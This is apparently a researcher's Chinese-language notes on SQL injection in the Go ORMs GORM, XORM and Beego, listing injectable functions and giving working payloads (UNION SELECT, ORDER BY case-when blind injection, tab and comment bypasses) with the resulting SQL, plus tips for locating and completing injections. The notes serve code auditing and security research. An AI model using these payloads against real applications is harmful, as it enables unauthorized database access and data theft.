最近研究了一些现代 ORM 框架的 SQL 注入情况,做一些笔记吧。

GORM

注入点

gorm 注入点简单可以分为三种情况

  • 检测转义
  • 直接转义
  • schema 校验

如果 gorm 认为这个参数他不会是一个表达式也不会是`aaa`.`bbb` 的形式,从功能上也只可能是一个单纯的列名,这个时候 gorm 会直接给你套上 ` 同时对内部的内容全部进行转义,这种一般是不存在注入点的,例如 Association 函数。

另外部分多表关联(Associations)查询的字段会存在 schema 校验,如果对不上列名会在 sql 构建阶段报错,例如 Preload 函数,这些也是无法注入的。

那剩下的部分都执行一个检测转义的策略: 先检测`的存在, 如果不存在就套上,并假装存在,直到扫描另一个`

这个转义设计上是为了兼容性,并不出于安全性考虑,所以是比较好注的

根据注入点出现的位置分类,可以分为下面这几个

参数位置 函数
1 Group,Order,Exec,Having,InnerJoins,Joins,Not,Or,Pluck,Raw,Select,Table,Where
1… Distinct
2 Find,First,FirstOrCreate,FirstOrInit,Last,Take

参数位置 为 2 的一类基本是 gorm 新增的一些语法糖 API,不过从上表也可以看出 Gorm 设计的真的不错,API 风格真的非常统一。

案例

DB.Order("id = case when version() rlike '8.*' then ? else 0 end #").First(&a)
DB.First(&a, "?=0 union select 1,1,version() #")
SELECT * FROM `aaaa` ORDER BY id = case when version() rlike '8.*' then 1 else 0 end #,`aaaa`.`id` LIMIT ?
SELECT * FROM `aaaa` WHERE 1=0 union select 1,1,version() # ORDER BY `aaaa`.`id` LIMIT ?

坑点 预编译参数

gorm 有很多方法会附加 limit 1,例如 First Last FirstOrCreate 其中 limit 1 的 “1” 是预编译的,在注入 gorm 的时候需要注意补齐预编译形参

关于GORM审计,另外

审计 GORM 时需要注意 First 一类的 API 的第二个参数,这个参数给的灵活性太大了,开发一般当作是主键,认为丢一个主键值进去完全是安全的,但是这个参数实际上可以写条件表达式,非常危险。

GORM 的软删除也是可以利用的点,如果从 Web 框架方向直接 Bind 到 gorm.Model 上可能会存在 DeleteAt 字段的注入从而导致一个记录被软删除

XORM

// QuoteTo quotes the table or column names. i.e. if the quotes are [ and ]
func (q Quoter) QuoteTo(buf *strings.Builder, value string) error 

xorm 对 table 和 column 两类输入做了简单的 quote,并没有对 sqli 做防护,直接附加引号不做任何转义过滤,真是逆逆又天天

  1. 只有空格在他的解析里当成空白符,可以通过其他空白符或者注释绕过(制表符,/**/,…)
  2. 形如xxx assss的输入会被解析xxx as`sss`,这是一个解析 bug,比较无害但是体现开发水平

所以可以简单认为除了预编译外的所有字符串入参都可以是sink

案例

engine.Table("aaaa`\twhere\t1=?\tunion\tselect\tversion()\t#").Select("id").Where("id = ?", 2).OrderBy("id asc").Get(&res)
engine.Table("aaaa").Select("1 where 1=? union select version() --").Where("id = ?", 2).OrderBy("id asc").Get(&res)
engine.Table("aaaa").Select("id").OrderBy("abc rlike case when 1=1 then 4 else 0 end").Get(&res)
SELECT id FROM `aaaa`   where   1=?     union   select  version()       #` WHERE (id = ?) ORDER BY id asc LIMIT 1 [2]
SELECT 1 where 1=? union select version() -- FROM `aaaa` WHERE (id = ?) ORDER BY id asc LIMIT 1 [2]
SELECT id FROM `aaaa` ORDER BY abc rlike case when 1=1 then 4 else 0 end LIMIT 1 []

其中OrderBy是最容易触发的,其他字段不容易出现暴露的注入点

Beego

beego 有两种方式构建 sql 分别是 QuerySeter 和 QueryBuilder

QuerySeter

QuerySeter 相当安全,这是因为 Beego 的 orm 要求你先注册 Model,他会根据在 orm 注册的 Model 对所有的列名表名进行校验,甚至部分例如 orderBy 这样的语句他用上了自定义的表达式,不允许直接输入 sql,也因此这个 orm 的灵活度是低于其他 orm 的(可能这也就是为什么还有个 QueryBuilder) 唯一的口子在 order_clause,但也需要显式声明 order_clause.Raw()

order_clause.Clause(...,order_clause.Raw(),...)

以上示意,第一个参数是 input string,后面的是 …options

QueryBuilder

QueryBuilder 设计上应该是为了构建 RawSQL 的,而不是为了查询,无保护,无过滤,无校验,无预编译,所以任何用户输入进入这里都是危险的,就不举例说明了,遇见了直接注就可以了

Tricks

注入点寻找

  1. order by 在排序功能上很可能出现排序接口,同时就会出现 orderby 注入
  2. 类似于列名表名的字段 xxxId keyword,流量中观察到是几个固定 words N 选一的或者 Id 后缀的都很可能是
  3. 直接拼接带来的 sql 注入依然存在,主要是老系统或者没那么互联网的系统

另外,受研发习惯影响,sql 注入一般一出就是连着好几个一起出

预编译参数补齐

Where("id = ?", 2)

对于预编译字段,即使我们在最后注入的 sql 中把 id=?去掉了,他 Execute 时传的参数还在,例子中传了一个2。所以需要在注入语句中补齐一个参数,否则会报错无法执行,测试发现 sqlite 会忽略这个错误,mysql 会报错。

SELECT 1 where 1=? union select version() -- FROM `aaaa` WHERE (id = ?) ORDER BY id asc LIMIT 1

无括号bool盲注

SELECT id FROM `aaaa` ORDER BY abc rlike case when field rlike '1%' then 4 else 3 end LIMIT 1

无法使用括号时可以尝试 case when 语句替代 if 语句

case 
when ... then
when ... then
...
else ...
end

记得加 end